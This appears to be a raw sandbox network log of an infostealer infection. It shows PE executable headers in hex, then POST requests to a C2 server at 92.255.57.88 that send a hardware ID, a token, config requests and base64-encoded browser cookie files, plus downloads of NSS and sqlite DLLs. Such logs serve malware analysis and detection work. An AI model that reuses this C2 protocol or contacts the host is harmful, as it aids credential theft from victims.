00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 23:07:45 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 23:07:49 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 23:07:50 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 92.255.57.88Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEHost: 92.255.57.88Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 37 41 41 38 33 37 43 41 30 43 33 38 38 36 35 38 32 35 34 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 35 35 31 34 38 38 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="hwid"A47AA837CA0C3886582548------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="build"551488411------JKJEHJKJEBGHJJKEBGIE--
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJDHost: 92.255.57.88Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="message"browsers------JJJJEBGDAFHJEBGDGIJD--
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJHost: 92.255.57.88Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="message"plugins------FHIEBKKFHIEGCAKECGHJ--
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGHHost: 92.255.57.88Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="message"fplugins------FBGHCGCAEBFIJKFIDBGH--
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 92.255.57.88Content-Length: 7059Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/sqlite3.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 92.255.57.88Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KKFHJDAEHIEHJJKFBGDA--
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAEHost: 92.255.57.88Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHCHost: 92.255.57.88Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 2d 2d 0d 0a Data Ascii: ------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="file"------HJJJJKEHCAKFBFHJKEHC--
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 92.255.57.88Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="file"------KKEHDBAEGIIIEBGCAAFH--
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/freebl3.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/mozglue.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/msvcp140.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/nss3.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/softokn3.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/vcruntime140.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7bbacc20a3bd2eb5.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEGHost: 92.255.57.88Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
